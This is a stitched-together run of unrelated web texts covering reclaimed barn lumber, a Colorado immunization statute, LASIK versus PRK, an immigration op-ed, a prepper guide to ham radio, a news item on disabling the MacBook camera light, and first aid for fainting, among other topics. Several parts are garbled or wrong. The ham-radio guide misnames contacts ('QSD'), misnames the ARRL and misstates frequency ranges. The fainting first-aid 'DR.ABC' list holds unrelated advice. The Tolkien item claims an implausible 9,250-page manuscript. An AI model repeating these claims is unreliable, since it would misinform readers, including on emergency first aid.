“White oak is the number one seller,” Burkholder explained while we walked around his lot which was piled high in every corner with various types of lumber. “Walnut, hickory, beech, maple, elm, ash, and chestnut are all lumber we use as well. Chestnut is, however, very sporadic here. Since white oak is a very dense wood, it possesses a pretty grain and has an overall appealing character, therefore it is the first choice for many buyers searching for a nice repurposed look. Plus, this closed-spore wood weathers consistently slower when compared to other wood types. It just responds and adapts to the elements better.”
Ninety percent of the wood that is currently sitting on Burkholder’s massive lot will eventually be used in the construction of new homes. Some projects will include fancy resorts and attractive mountain lodges. Large numbers of summer homes will also be constructed from his inventory of old barn lumber. “What we are seeing over the last five years now, is a considerable increase in the standard construction. This is especially true for our local regions, which includes Columbus. What they do, is take a few old beams where we flat-saw them, pressure-wash and clean the beams which will then be placed right up against the ceiling.”
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2018 Colorado Revised Statutes
Title 25 - Public Health and Environment
Article 4 - Disease Control
Part 9 - School Entry Immunization
§ 25-4-904. Rules and regulations - immunization rules - rule-making authority of state board of health
(1) The state board of health shall establish rules and regulations for administering this part 9. Such rules and regulations shall establish which immunizations shall be required and the manner and frequency of their administration and shall conform to recognized standard medical practices. Such rules and regulations may also require the reporting of statistical information and names of noncompliers by the schools. The department of public health and environment shall administer and enforce the immunization requirements.
(2) All rule-making authority granted to the state board of health under the provisions of this article is granted on the condition that the general assembly reserves the power to delete or rescind any rule of the board. All rules promulgated pursuant to this subsection (2) shall be subject to sections 24-4-103 (8)(c) and (8)(d) and 24-4-108, C.R.S.
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HERITAGE – THE equipment
The Units are now just over 45 years old. In this period there has been a marked development of the equipment. What started out as standard Army equipment ex World War II was soon shown to be redundant. As early as the first deployment in Biafra in 1969 the soldiers identified that the equipment must be adapted to the need. In that deployment they already noted that the R1 in use would not be suited for thick bush and shorter weapons would be needed.
From 1972 to 1986 the basic equipment went through quite a long development cycle. This included the use of a specialised wing that manufactured special equipment and devices in the form of EMLC as well as stores section that manufactured webbing and equipment for special purposes. A large array of equipment was made for the wide range of missions.
Since 1986 the equipment has remained fairly stable. A Standard Equipment List would look as follows:
a. Rucksack – 65L
b. Fighting webbing
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Changes in the shape of the cornea are what cause farsightedness, nearsightedness and astigmatism. By reshaping the cornea with a cool-to-the-touch surgical laser, ophthalmologists can ensure that images received by the eye are focused on the retina with maximum clarity.
Reaching the Cornea
During both LASIK and PRK, a laser surgical instrument reshapes the middle layer of the cornea. With LASIK, your Austin Eye ophthalmologist accesses this delicate area by making a microscopic incision in the cornea to create a flap, which is moved aside. After the reshaping of the cornea, the flap is moved back into position, allowing for efficient healing. This is an outpatient procedure that takes less than a half hour and uses local anesthetic, although additional sedation may be provided on request.
With PRK, no flap is created; rather, access to the cornea is achieved by removing the outer corneal surface by application of an alcohol-based solution followed by use of the surgical laser. The surface corneal cells grow back within days, but for this reason recovery periods are longer for PRK than for LASIK.
In general, LASIK involves less discomfort and your final, improved vision comes into focus more quickly. With PRK, improvement in vision happens slowly over a period of weeks. PRK patients may also experience temporary haziness of vision, glare or sensitivity to light.
Benefits for Targeted Groups
PRK was the very first refractive surgery that used a laser to reshape corneas and correct vision, and was once the most common vision correction procedure. Today, it is often recommended for patients in very specific groups.
The fact that no flap is created with PRK eliminates the chance of post-operative complications involving a flap incision. For this reason, patients who play contact sports or routinely engage in other vigorous physical activities may choose PRK to avoid the risk of flap dislocation. PRK is also the preferred choice for patients who were born with thin corneas or who have had cataract removal or other previous eye surgeries, including radial keratotomy, refractive lens exchange or phakic IOL implantation.
If you would like to learn more about LASIK or PRK, we invite you to schedule a personal consultation with one of the board-certified ophthalmologists at Austin Eye. Contact us by calling us at (512) 250-2020.
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Senior Fellow Michael Clemens co-authors an op-ed on immigration reform in The New Republic.
In a recent article, John Judis makes many excellent points about poorly compensated work in America. But he mischaracterizes the role that immigration, in general, and the “Gang of Eight"s immigration reform, in particular, is likely to have on the wages of American workers. Contrary to what some claim, immigration has economically benefitted U.S. workers. Moreover, thoughtful immigration reform that includes legal status and a pathway to citizenship for the 11 million unauthorized immigrants will lead to sizeable increases in output and incomes and modest increases in jobs. The earnings of unauthorized immigrants will rise significantly and the taxes they will pay will increase dramatically, benefitting the nation as a whole.
How can that be, especially when simple intuition would dictate that lesser-skill immigrants (even the newly-legalized) compete for American jobs and put downward pressure on wages? The answer is that the economy is a much more complex system than some would have us believe.
There are three main reasons why economists have found positive benefits from immigration: 1) immigrants are not only workers but also consumers 2) immigrants have little direct impact on the wages of American workers and 3) immigrants often complement, rather than compete with American workers.
First, and perhaps most importantly, immigrants are not simply workers but consumers; they buy goods and services, helping to drive business sales across all sectors of the economy. Immigrants also tend to be entrepreneurial, starting new businesses and hiring workers at higher rates than the native born. They make basic services more affordable to Americans. The narrow research Judis relies upon fails to fully consider these long-run impacts on our economy and therefore ignores the basic fact that over time the wages of American workers will rise with immigration.
Second, even when focusing only on the wages of lesser skilled American workers, the latest economic research illustrates that immigration has no discernible direct effect, even in the short run. Judis cites a research paper by economist George Borjas written a decade ago. While Borjas is a respected economist, his work has been superseded by a number of new studies that rely upon much better methodologies.
The best, new research we have now is exemplified by the work of Economists Gianmarco Ottaviano and Giovanni Peri. Their research finds that immigration has had essentially zero net effects on the wages of low-wage U.S. workers. To the extent that it has had any effect on wages at all, the most thorough recent research suggests that immigration has had a small positive impact on the wages of lesser skilled native born Americans.
The reason why there is essentially no impact on the wages of lesser-skill workers brings us to our third point: Most lesser-skilled immigrants do not compete with U.S. workers but instead complement their work. In some areas of the economy, lesser skilled immigrants have kept entire industries alive: Many parts of U.S. agriculture would have more thoroughly mechanized or had to close up shop years ago if not for lesser-skilled immigrant workers who pick the crops, meaning the loss of nearly all U.S. jobs (those held by native born Americans as well as those of immigrants) in those sectors.
Recent research has shown that low-skill immigrants complement U.S. workers in many ways that are less obvious. Patricia Cortes of Boston University has shown that low-skill immigrant workers encourage skilled American women to enter the labor force—by making childcare more affordable. Jennifer Hunt of Rutgers and the U.S. Department of Labor has found that low-skill immigration encourages high-school completion by U.S. natives, by raising the relative return to staying in school. Both of these forces make the whole U.S. economy more productive, and that generates jobs for low-skill Americans too.
Judis claims that legalizing the 11 million unauthorized immigrants living in the U.S. would “thrust [them] into the mainstream labor market, where they will compete with native-born workers.” But research indicates that legalizing these aspiring Americans would help our economy. Legalization would allow unauthorized workers to find jobs that best match their skills, increasing the productivity of our workforce and increasing the earnings of all Americans.
Specifically, this research found that legalization adds a cumulative $832 billion to the U.S. economy over a decade, increases the earning of all Americans by $470 billion, generates an additional $109 billion in new tax revenue, and creates an average of 121,000 new jobs each year, benefits that accrue to all Americans.
Providing unauthorized workers with legal status also increases their bargaining power and lowers the likelihood of worker exploitation and suppressed wages. To the extent that they do compete with American workers, legal status will raise the wages of both the unauthorized and lesser skilled American workers. So yes, by all means, let’s “thrust” the illegal immigrants into legal status.
Our nation was founded and built by immigrants and continuously reinvigorated by wave upon wave of migrants from all around the world. Every job that everyone has, from janitor to biochemist, owes a debt to a legion of immigrants that made that job possible. For the sake of our economic future we need to continue experiencing the benefits of immigration—benefits that accrue to all Americans, including our lowest wage workers.
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One of the many current things occupying my overfull plate is trawling through betacode entries of LSJ headwords to sort out things that are ‘odd’. And LSJ has some odd things. Like
Why is there a j there? That ain’t no Greek letter. So off we go to the print version.
The print version of LSJ is a host of mysteries, and mystery resolution. Most mysteries are far less interesting than this one. Lo and behold, there is a j in the entry. It’s not a typo in LSJ, and it’s not a typo in the data-entry.
So next we look at the entry.
Now, if you happen to look up the page, you see πεδινός is also listed as equivalent to πεδιεινός. So it’s also worth looking at πεδιεινός, which finally yields an actual gloss and meaning: flat, level, of the plain.
But back to πέδιjος. We clearly need to look at the source:
E. Schwyzer, Dialectorum Graecarum exempla epigraphica potiora, Leipzig 1923. 679.18 (Cyprus).
Sadly this doesn’t appear available online. A copy resides in my erstwhile institutional library, controlled by robots. But in this case an easier alternative is at hand, a more recent collection of Cypriot inscriptions (Les Inscriptions chypriotes syllabiques, O. Masson, Paris 1964 [1985 with Addenda nova]. And we are after 217, the Tablet of Idalion, B side, line 18, and this can be accessed online! (This last sleuthing by none other than J. Tauber again).
So 217 B18 gives us the syllabic transcription pe-ti-ja-i, and the alphabetic transcription πεδίjαι
And so the j represents a consonantal iota preserved in Cypriot epigraphy, and there’s no mistake in the betacode headword anyway. Thus we carry on. In my next installment of LSJ adventures, we shall discuss the mystery of the upside-down smiley face.
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The twelfth edition is now available! From now on you can read this edition
online. Download the PDF or get it in real life at the medical faculty building (in the bookshelf near the stairs at the entrance or at the study square).
In this edition, we introduce our newest rubric: time for innovation! Besides the newest rubric, you can read articles about, for example, whether light products can lead to losing weight or not. Moreover, the spreading of resistant bacteria is also argued in this edition. Curious what else you can find in our twelfth edition? Grab your RAMS from the bookshelfs and enjoy reading this edition!
Twelfth Edition – January 2019
Living the dream: Parasomnias
Standing at the dawn of a post-antibiotic era
Losing weight with light products
Comparing harlequin inchthyosis and ichtyosis vulgaris
Screening for breast cancer: what does the future bring?
Recent high-impact papers from Radboudumc researchers
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You’re in a deadly tornado’s path and can’t get through to 911 because the power is out. The good news is that you have options. Amateur radio (or ham radio) is an alternative means of communication during emergencies.
Although ham radio is a fun hobby for many, instant communication can also save lives. If you live in disaster-prone areas, you will appreciate the importance of contingencies. We can’t wholly depend on our phones or the internet for communication in emergencies.
So, how can an educational and entertaining pastime be so handy in dire situations? Let’s look into the exciting world of amateur radio.
What Is Amateur Radio?
Amateur radio is a technical hobby where people use specific radio frequencies for non-commercial purposes. If you’ve seen the movie 2012, you may recall Charlie Frost broadcasting his end-of-the-world theories. Guess what? That was all thanks to the power of ham radio.
But you don’t have to be a tech expert to use this technology. In fact, there are millions of amateur radio operators around the world communicating directly or via ad-hoc relay systems and amateur satellites without needing an internet connection.
Besides, amateur radio allows anyone to exchange messages via teleprinting, television, voice, telegraphy, etc. And operators manage its frequencies.
How Do Amateur Radios Work?
Firstly, amateur radio is a wireless means of communication. Like every other wireless technology, it uses electromagnetic radiation to send and receive data. This technology can transmit voices, Morse code, and digital data across the world using transmitters, receivers, and antennas.
Electromagnetic radiation travels in the form of a sinusoidal wave. And factors like frequency and wavelength determine the type of electromagnetic radiation in play.
We can classify radio frequencies based on a radio frequency spectrum. This spectrum reserves specific frequency bands for matching radio technologies. For example, maritime radio communications operate in the Very Low Frequency (VLF), while satellite communication uses Extremely High Frequency (EHF).
Ham radio operates in the radio wave spectrum, known for its long wavelength, reaching between 0.4 inches and 62 miles. It uses specific frequencies on the AM radio ranging from 1.6 MHz to 1240 MHz. This range covers two frequency bands: Very High Frequency (VHF) and Ultra High Frequency (UHF).
Below are some common ham radio terminologies and brief definitions:
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VHF (Very High Frequency)
VHF lies between the 30MHz to 300MHz radio frequency, with the ham radio band reserved for 144-148MHz. This band is reliable and less susceptible to interference from electrical equipment.
UHF (Ultra High Frequency)
Ultra High Frequencies are higher on the radio frequency spectrum and range from 300MHz to 3GHz. In the same vein, the ham radio band ranges from 420-450MHz. UHF is not as reliable as VHF because it has a shorter wavelength, making it prone to interference.
Receiver and Antenna
A scanning receiver allows you to listen to different radio frequencies on various bands while an antenna receives signals.
Why Do Preppers Need Amateur Radio?
There are different types of radios, but ham is the most recommended for preppers. The reasons are not far-fetched.
Firstly, it can cover a wide range. Irrespective of your location, you can contact anyone anywhere. Secondly, it is less susceptible to interference. So you can transmit essential information with the assurance that the other party would receive it. Thirdly, if other communication lines are down in an emergency, you can still communicate using a ham radio.
To further drive our point home, we’ve compiled a comprehensive list of why preppers need ham radio:
1. Connects with Multiple Radio Types
Ham radio is the most versatile in crossing over into other radio types. It can connect to different radio frequencies but can’t allow those other frequencies to access it. You can also modify amateur radio through software or hardware to gain a wider reach.
But, there are exploitable (illegal!!!) loopholes to cross into other radio frequencies. So we recommend studying FCC regulations before attempting to cross over into another frequency.
2. Necessary for Emergency Situations
Regular radio can only listen to information, but you can send data with ham radios. And this feature is handy in various scenarios.
For example, you will need to know the security and rescue updates during an emergency. But after getting this information, you may also want to relay the message to your friends and family members. And if the communication grid is down, the only way to get through is by using a ham radio.
3. Easy to Use
Ham radio operation is not so easy: it is a technical hobby that requires training and expertise. But preppers can bypass most technical aspects of ham radio usage if they study the necessary info.
Besides, the FCC even allows people who don’t understand morse code to become amateur radio operators. These changes and free online resources make it easier to use the technology. You can even get your license in as few as three days.
Compared to other radios, ham radios are typically more expensive because of their unique functionalities. The price ranges from $30 to well over $500. However, there are DIY options and used products in the market if you need a ham radio while on a budget.
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How to Communicate Using Amateur Radio Frequencies
Communicating via amateur radio can be nerve-wracking if you’ve never used it before. When we transmit over ham radio, it is called “QSD” or “contact.” It can be scary initially, but after a few tries, you will get the hang of it.
So to communicate over ham radio, follow the steps below:
Step 1: Get Your License
It is illegal to use a ham radio without a license, so ensure to do your research before purchasing one. If you are curious about getting a ham radio license, keep reading as we will explain it later in this article.
Step 2: Buy the Proper Equipment
Before using your ham radio, you need some equipment. Many ham enthusiasts may tell you you need a truckload of gear, but you only need the following for a start:
- Power supply
- Antenna tuner
- Microphone or key
Step 3: Contact
To establish contact, turn on your radio and tune the antenna until the frequency is as close to 1:1 as possible. Ensure that the frequency is not in use by sending “QLR” or saying, “This is (your callsign), is this frequency busy?” If you don’t get a response after asking twice, feel free to use the frequency.
There are many ways to make a QSD, but the most common ones are through morse code (CW), phone (voice communication), and data (RTTY, teletype). Naturally, authorities need to regulate such use of radio to transmit public information.
Before you can make a QSD, you must pass an exam and get a license. So when you combine the technicality of amateur radio with its regulations, you can see why only about six million people use it worldwide.
How to Get Your Amateur Radio License
If you’ve wanted to know how to get an amateur radio license, then look no further. As stated earlier, authorities must regulate radio frequencies to prevent illegal crossovers. Anyone can listen to amateur radio, but you need a permit to transmit through it.
To get a ham radio license, you must do the following:
1. Get Study Materials
You must pass an exam before getting the license, so best prepare for it. You can either use online resources or physical study materials to guide you while preparing.
There are three types of licenses:
- Technician — this license allows you to operate on a limited range of frequencies. You can only transmit 100 watts.
- General — it allows you to operate on a broader range of frequencies. You can transmit 1500 watts.
- Extra — it allows you to operate on all ham radio bands, and you can transmit 1500 watts.
As a prepper, the technician license allows you to communicate with anyone in the world, so that’s all you need.
2. Take the Exam
The ARRL (Amateur Radio Relay League) website has a section that advertises ham radio exams in your area. There is no online exam, so you must go down to the exam center and sit for a physical exam. But ensure that you email the examiner before going.
Here is a list of requirements when going for the exam:
- Two sharpened pencils
- A pen
- Legal photo ID (passport or driver’s license)
If you don’t have any, you can bring two copies of any of the following: your social security number, utility bill, or library ID card.
After you pass the exam, you can get the necessary equipment required to use a ham radio and have yourself a splendid time!
Can You Listen Without a License?
Many people shy away from using a ham radio because of the rigors of studying for its license. But if you are an enthusiast, you can listen to one without a permit. The only difference between you and a licensed prepper is that they can send information on ham radio.
If you don’t have a license, don’t fret; there are several ways you can interact with your ham radio:
- FM Radio: you can use the ham radio to listen to music, news, programs, etc.;
- Emergency weather: you can use it to listen to live weather broadcasts;
- Local amateur radio transmissions.
Amateur radio is more than a random pastime; it’s essential for preppers. You can use it in emergencies to transmit vital information or get in touch with rescue agents. Anyone can own a ham radio, but you need a license to enjoy its full potential.
If you’ve carefully gone through this guide, congratulations, you’re more prepared for emergencies than you were 10 minutes ago. Even if you aren’t a prepper, you should get a ham radio as it’s an exciting technical hobby to try out. And if you live in disaster-prone areas, it is an essential part of your survival kit.
Author’s Bio – Amily Lagman is an experienced essayist. She works with DoMyEssay to offer writing services to anyone in need of them. Amily is also a licensed amateur radio operator whose skills and equipment have helped her community in times of need. She decided to merge her hobby with her writing skills to teach preppers the best survival tips out there.
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Some more practise on conditional sentences. Here students have to choose the correct option. There are different types of conditionals. Hope they do it easily.
The above downloadable teaching material is meant for at Pre-intermediate (A2) level. It is a useful material for practising Conditionals in English, and is useful for enhancing your pupils' Writing skills.
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Eustace Conway was a Mountain Man long before he starred on the show with a similar name. It seems to be in his blood, along with the desire to preserve nature, and teach others how to live off the land.
Eustace is the owner of Turtle Island Preserve in Boone, which guides people through experiences with the natural world to enhance their appreciation and respect for life. It’s part education center, part naturalistic setting which allows Mr. Conway and guests to live off of the land, and feel the bond with it.
Eustace attributes his passion for stewardship to his grandfather, who founded Camp Sequoia in 1924. Like his family before him, Mr. Conway hasn’t forgotten his connection to the land. He lives his life more like our ancestors than most.
Most of us have sanitized our lives with technology. We rarely need to get our hands dirty, and even gardening is considered a hobby. On a large scale, this disconnection has caused a lack of concern for the environment, as if the “environment” were a thing outside ourselves.
Mr. Conway draws his life and his living from the earth, and that makes him notable in our region, since that is a thing most of us have forgotten. Our grandmothers remember, but we only know the stories. Turtle Island offers us, and our children, an opportunity to experience a simpler way of living. It’s a living history experience that is rare, and we think, beautiful.
We encourage you to go to their website, www.turtleislandpreserve.org, or call (828) 265-2267. Please note they are a working farm and education center, and can only entertain guests by appointment, so make sure you call ahead.
Like every bona fide Mountain Man, Mr. Conway has hiked the Appalachian Trail. In fact, he hiked ALL of it, at the age of 17. He’s also broken speed records for traveling horseback from the Atlantic to the Pacific Ocean.
The most recent television series Eustace was involved with was History Channel’s Mountain Men, but this certainly hasn’t been his first brush with fame. He has enjoyed continued media coverage throughout his life, The weekly radio show “This American Life” reported on Conway’s cross-country journey in the episode “Adventures in the Simple Life.”Full Circle: A Life Story of Eustace Conway, was directed a documentary about his life, directed by Jack Bibbo. Conway is a main character in the 2012 documentary film Reconvergence, which was directed by Edward Tyndall.
In 2012, Fox News aired a feature called War on the Little Guys, hosted by John Stossel, which focused on a fight the North Carolina lawmakers regarding code violations for primitive structures. Turtle Island Preserve was locked in a long and expensive battle, as the traditional buildings couldn’t possibly meet code requirements. In the end, NC lawmakers voted unanimously to pass H774, which is “an act to direct the building code council to adopt rules exempting certain primitive structures from certain provisions of the building code.” His fight has made it easier for many groups across the state to preserve and share our history.
Foothills Digest salutes the work of Eustace Conway.
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Explore significant moments in HarperCollins history
Sir Stanley Unwin, chairman of British publishers George Allen & Unwin (later acquired by HarperCollins), originally rejected the 9,250-page manuscript of The Lord of the Rings, the sequel to J. R. R. Tolkien’s moderately successful (at the time) The Hobbit, as it was too long, and the author would make a deal with the publisher only if they also agreed to take another of his unfinished books.
However, his son Rayner, who had originally suggested that his father publish The Hobbit, read the lengthy manuscript and persuaded him to publish it—but in three volumes rather than as one long book, becoming one of the first trilogies. Some in the firm doubted it would even sell enough copies needed to cover costs, but all three volumes were published in 1954 and 1955.
Within months, several thousand copies had been sold, and they kept selling. The work has since sold more than 150 million copies worldwide in more than 40 languages. In 2003, a survey by the BBC found the book to be the most popular title among more than 750,000 respondents, and the 2001–2003 film trilogy adaptation by director Peter Jackson captured a total worldwide box office of $2.9 billion.
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This Home Automation system is based on XBee connected devices and controlled by a Netduino or a Windows IoT Core based Raspberry PI 2.
Each of the remote sensors and actuators in the home are connected to XBee for wireless communication. Each XBee transmits data to the custom gateway. The gateway is a Netduino (or Raspberry PI 2 + Windows IoT Core) based system. It sends and receives messages to each of the XBee connected devices and translates that data into a format for the controller to understand.
The controller is based on openHAB and provides a graphical interface to monitor the home’s sensor data and control actuators. The controller and the gateway connect via MQTT– they both listen for, and publish, messages on different topics on the MQTT message bus.
And click here to follow Szilveszter on Twitter!
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By now, hijacking laptop cameras is an old hacker trick, but new research dug up by The Washington Post suggests there may be a way to do it without setting off a MacBook's telltale warning light, a feature designed to make sure users know when they're being watched. The story starts with a former FBI agent suggesting that, for years, the bureau has has been covertly activating laptops in order to spy on subjects. That's supposed to be impossible, but Johns Hopkins computer scientist Stephen Checkoway may have figured out how it's done.
The key feature is the iSight camera's micro-controller chip, which establishes a hardware-level interlock between the camera and the indicator light. As long as the chip's working, the light will turn on whenever the camera does — but if you're able to remotely reprogram the chip, as Checkoway does, you can get around the safeguard. Checkoway has produced proof-of-concept software showing it works, but so far, he can only perform the trick on Macbooks released before 2008. There could be a similar vulnerability in modern cameras, the article suggests, but so far no one's been able to make it work on more recent models.
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Wichita Construction Mediation Attorney
When you are involved in a dispute, litigation is not your only option. Alternative dispute resolution (ADR) methods can help construction professionals keep their projects on track. Mediation is a valuable tool for contractors, suppliers, and architects because it’s quicker, less expensive, and preserves relationships more effectively than litigation.
Counsel from a Wichita Construction Mediation Lawyer
Unfortunately, conflict is prevalent in the construction industry. People working together often disagree, and those disagreements can’t always be resolved without outside help. Most people think of litigation when a dispute comes up, but it’s a good idea to consider all your options.
A skilled Wichita construction mediation lawyer from Cotney Construction Law can advise you throughout the process. Mediation is often overlooked, but nearly any civil case can be mediated. The mediation process works by using a neutral third party, the mediator, to help the conflicting parties come to an agreement. The mediator possesses the necessary conflict resolution skills to guide the parties to a decision but does not decide the outcome. A lawyer on your side can provide legal counsel and advise you on the settlement offer.
What Is the Mediation Process?
Mediation is typically much quicker than litigation and may take only a few days. Due to the informal nature of mediation, not every case that is mediated will follow the same format.
The mediator will present the rules and goals of mediation. Then you and the other party will take turns explaining your views on the conflict without interruption. After the initial statements, the mediator will start a discussion between you and the other party. The mediator will lead both sides to begin thinking of ideas to resolve the dispute and then help negotiate a solution. A Wichita construction mediation attorney will advise you of potential solutions and whether to agree to a proposed solution.
If you can reach an agreement with the other party, the results will be recorded and the process will move forward. If an agreement cannot be reached, the mediator will review the issues and explain the future rights of both parties.
The next step may be arbitration or litigation, depending on the circumstances. In any case, one of our skilled attorneys can advise you of your best options.
If you would like to speak with a Wichita construction mediation attorney, please contact us today.
Disclaimer: The information contained in this article is for general educational information only. This information does not constitute legal advice, is not intended to constitute legal advice, nor should it be relied upon as legal advice for your specific factual pattern or situation.
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Fainting happens when there is momentarily inadequate supply of blood to your brain and may cause the person to lose consciousness.
Though fainting can have no medical significance, it should be treated as a medical emergency until symptoms are relieved. This could also be a cause of a serious disorder.
It can be associated with other symptoms and can be caused my many underlying reasons.
Possible Causes of Fainting
- Syncope (when brain is deprived of blood flow)
- Neurologic syncope (caused by transient ischemic attack, stroke or seizure)
- Heart Rhythm problems
- Low blood sugar
- Low blood pressure
- Emotional stress
Signs When A Person Is About To Faint
- Sudden confusion
- Inability to respond
- Rapid heartbeat
- Lightheadedness or dizziness
- Loss of balance
First Aid for Fainting
1. Position the person on his/her back. Raise the person’s legs above heart level to restore blood flow to the brain.
2. Loosen collars, belts and shirts or shoes.
3. Don’t get the person up immediately as this can cause fainting again.
4. If the person is still unconscious after a minute, call your local emergency number.
5. Do the “DR.ABC”
- Drink plenty of fluids
- Take breaks and move around as much as possible
- Use a paper bag to slowly breath in and out when the person is anxious or breathing too fast
- Avoid overheated environments
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Remember Tetris? Amazing game, right?
Surprisingly enough, researchers found a key to happiness in it. But it probably isn’t what you think!
In studies, people were instructed to play Tetris for an extended period of time. At the end of the required playing time, the participants noticed that as they were out and about, they were bombarded with “Tetris shapes” everywhere: the brick or stone patterns in buildings, looking down a supermarket aisle, looking at cars in a parking lot – and their mind was working on how could these shapes fit better together.
This holds the key that keeps some people locked in unhappiness while others remain happy. It’s called the Tetris effect and it’s this:
What we train our brains to see, we see more of.
When we are playing Tetris, we are training our brains to recognize shapes, spaces and patterns.
Here is the pivotal question:
What are you training your brain to see in the game of life?
All that’s wrong and negative?
Or what’s is right in the world?
The negative is EASY to see. The media reports on it 24/7. It takes no skill to see it.
Shifting your focus requires a tiny bit of effort but it can make the difference between unhappy and happy.
Which do you want?
In this short episode, I share 2 simple practices that can help you train your brain to see the good that is already around you but might be invisible to you.
Finding Patterns – Bobbi talks about how the Tetris game worked and some of the studies that observed how Tetris players were noticing more patterns in the environment after extended hours of playing Tetris.
Negatives are Easy – Why do our brains start to notice negative things around us more when we’re bombarded with negative stories about the world through conventional media, social media, and even our peers?
Training the Brain – Simple things we can do to train our brains to notice more of the positive things around us so we’ll become happier.
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Has Meditation Gotten Too Easy?
A reader with a longtime practice feels meditation is being watered down
When people are meditating so they can perform better at work, we have to ask: Is that really the point?
Q: I’ve been meditating for decades as part of my spiritual practice. But today, it seems like meditation is treated more like a lifehack, a way to calm down and focus so that you can get more work done. It annoys me. Am I being harsh?
Kathryn: My first thought when reading your question was, “Is meditation being taught differently than it was in the past?” So I asked Matthew Sockolov, the founding teacher of One Mind Dharma (oneminddharma.com) and the author of Practicing Mindfulness: 75 Essential Meditations.
“I do think it’s being taught differently,” he says. “My experience is that it has a lot to do with how it has encountered Western culture. As mindfulness travels to different lands and cultures, it changes, just as any religion or tradition would change,” says Sockolov. “It’s almost like evolution in a way.” The qualities that are most useful to a human or to a community tend to be what sticks.
“I do think it’s a little bit of a problem,” he says. “Mindfulness comes from Buddhism; it may have been taught by other traditions, but that is how meditation has come to the West. I myself went through a Buddhist teacher-training program. It was very in depth, and I see people go through a five- or eight-week mindfulness course and it can feel like it undermines the bigger path.” Some people, for example, are quick to choose what they like about Buddhism, such as the meditation, without adopting other practices, such as abstaining from alcohol. There are 227 rules of conduct for fully ordained Buddhist monks, many of which wouldn’t appeal to a contemporary American. (No tickling?! No playing in water? And don’t get anyone started on how often to bathe.)
That said, meditation is incredibly helpful to people, aiding them to be better employees or spouses or parents, or to deal with addiction. Also, separating religion from meditation means it can be taught in places like schools or workplaces. “Mindfulness can transcend religions, reaching people who are turned off by organized religion or who have another set of religious beliefs,” Sockolov says. At his meditation center, “We have quite a few people who are practicing Catholics, who don’t want to jeopardize their other beliefs. You can be practicing compassion and be a Muslim, a Buddhist, a Jew, a Catholic.”
Now, about this “harsh” part you mentioned in your question. Consider your reason for that sensation, suggests Buddhist teacher Susan Piver. She is the author of The Four Noble Truths of Love and founder of mindfulness community Open Heart Project. “Are you annoyed because people are not approaching the topic with the appropriate reverence? Or because you feel they are missing out on the true transformational benefits, and you feel a little sad?” Maybe you feel like the practice is being cheapened.
We are not in a monastic culture, Piver observes. “Some people say if you teach meditation and charge for it, you’re doing something wrong. Well, if someone was giving me housing and food, like they do with monks, I wouldn’t charge, but that isn’t how it is. That doesn’t mean we can’t maintain integrity of meditation, nor does it mean we are exploiting it.”
“However someone gets turned on to mediation, great. Everyone will find a way to use it for their own benefit,” says Piver. “One of the fruits of meditation practice is nonjudgment,” she reminds us. So, use your feeling of annoyance as a tool, an opportunity for further reflection, and dig a little deeper into why you’re feeling that way.
What do YOU think? Join the discussion here and let us know your experiences with mediation.
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Greening the game: The world’s most sustainable stadiums
Sports stadiums and pitches often require vast amounts of energy, water and raw materials to maintain them, with little prior thought given to sustainability. But the vast amounts of money involved in professional sport lends itself to exciting innovations, and the stadiums are no different.
The Six Nations returned to our screens this weekend and the spotlight was on Cardiff, where Ireland blew their shot at the Triple Crown and the Grand Slam.
One overlooked storyline, however, was the venue itself. The Millennium Stadium is the first sports arena in Britain to be certifiably ‘sustainable’, having earned the BSI British Standard 8901 for Sustainable Management Systems for Events in 2011.
By the Stadium website’s own admission, when construction started in 1994, “managing the overall environmental impact of an event was not high on the agenda.” However, the operators have since installed an array of sustainable features including LED lighting, an under-pitch rainwater harvesting system and A-rated refrigeration systems.
The sustainability turn-around of the Millennium stadium inspired us at edie to take a look at five other stadiums around the world where the stadium operation is as green as the pitch.
1) Lincoln Financial Field – home of the NFL’s Philadelphia Eagles
‘The Linc’, as its known in Philly, was the first professional stadium in the US capable of generating all of its electricity on-site. 11,000 solar panels and 14 wind turbines generate the power, although the tubines only account for 1% of total output, providing more of a ‘visual symbol’ according to team minority owner Weiss Lurie.
The stadium is also a zero-waste facility, while the overall green program is now ‘cost neutral’ according to the team.
2) World Games Stadium
This serpentine stadium in Kaohsiung, Taiwan, was built for the 2009 World Games. It was the first stadium in the world to provide all its own electricity using the power of the sun. The 8,844 solar panels will generate more than enough electricity to power the building’s 3,300 lights and two giant television screens.
The panels can reportedly generate 1.14GWh of electricity per year, preventing 660 tons of carbon dioxide from being pumped into the atmosphere by traditional power stations every year.
3) Levi’s Stadium – home of the NFL’s San Francisco 49ers
Levi’s Stadium – which opened its doors for the first time in 2014 – has been connected to the City of Santa Clara’s recycled water system, a move which will effectively make the venue drought-proof. The water source will account for about 85% of total water use within the stadium.
Recycled water will be used for playing field irrigation, a 27,000 sq.ft green roof, flushing toilets and cooling tower make-up water.
Levi’s Stadium is also proud of its local food sourcing – with 78% of suppliers of stadium food located within 150 miles of the stadium, and 85% located within California.
4) Estadio nacional – Brasilia
The Estadio Nacional was reconstructed for the 2014 World Cup, where it hosted the quarter-final matchup between Argentina and Belgium. It’s rebuilding cost around £550m, making it the second most expensive football stadium ever, after Wembley.
It is also the first stadium in the world to gain the coveted LEED Platinum certification. Its rating is based upon 169,000ft² of rooftop solar panels, a pollution-neutralising rooftop membrane and the fact that 95% of the original demolished stadium was recycled for its construction.
5) Rectangle Stadium
This Melbourne stadium seats about 30,000 spectators and features a unique cantilever design, uses 50% less steel than a typical roof structure.
Completed in 2010, the architects installed a photovoltaic thin-film integration that will help power the stadium’s LED lighting units. The dome will also feature a rainwater harvesting system, natural lighting and natural ventilation to lower the structure’s dependence on grid electricity.
The rainwater rainwater collection system alone saves up to 500,000 gallons of water every year, with enough left over to provide four other venues in the precinct with water.
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What Is Minimally Invasive Urologic Surgery?
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Cypress-Fairbanks Independent School District, Houston, Texas
Number of Schools: 79
Number of Students: 106,000
Innovation: Leveraging a Central Kitchen
Cypress-Fairbanks Independent is a very large school district, with nearly 80 schools and more than 100,000 students. To ensure that all students in the district have access to nutritious food that does not bust the budget, the district centralized its meal preparation, creating meals en masse in a central production center that serves all of the district’s schools.
The central kitchen was built in 1986, and it has increased the variety of healthy and appealing meals offered to students at all grade levels. The district purchases approximately 700 tons of fresh produce annually, and the central production center allows it to efficiently prepare and serve fresh-cut fruit throughout the week, including watermelon, pineapple, orange and apple slices, grapes and cantaloupe.
